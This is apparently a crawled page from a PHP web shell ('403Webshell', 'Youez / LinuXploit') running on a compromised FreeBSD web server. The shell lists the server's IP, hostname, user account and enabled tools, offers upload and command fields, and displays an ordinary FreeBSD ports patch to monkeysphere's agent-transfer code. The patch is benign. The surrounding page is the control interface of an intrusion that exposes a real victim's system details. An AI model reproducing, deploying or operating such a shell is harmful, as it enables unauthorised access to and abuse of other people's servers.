403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/monkeysphere/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/monkeysphere/files/patch-src_agent-transfer_main.c
--- src/agent-transfer/main.c.orig	2022-02-28 17:21:23 UTC
+++ src/agent-transfer/main.c
@@ -385,7 +385,7 @@ size_t get_ssh_sz (gcry_mpi_t mpi) {
 int send_to_ssh_agent(struct exporter *e, int fd, unsigned int seconds, int confirm, const char *comment) {
   const char *key_type;
   int ret;
-  size_t len, mpilen;
+  size_t len=0, mpilen=0;
   off_t offset;
   unsigned char *msgbuf = NULL;
   uint32_t tmp;
@@ -450,7 +450,7 @@ int send_to_ssh_agent(struct exporter *e, int fd, unsi
     qdata = gcry_mpi_get_opaque (e->q, &qsz);
     ddata = gcry_mpi_get_opaque (e->d, &dsz);
     if (qsz != 33*8 || dsz != 32*8 || !qdata || !ddata) {
-      fprintf (stderr, "Ed25519 key did not have the expected components (q: %d %p, d: %d %p)\n",
+      fprintf (stderr, "Ed25519 key did not have the expected components (q: %d %s, d: %d %s)\n",
                qsz, qdata, dsz, ddata);
       return -1;
     }

Youez - 2016 - github.com/yon3zu
LinuXploit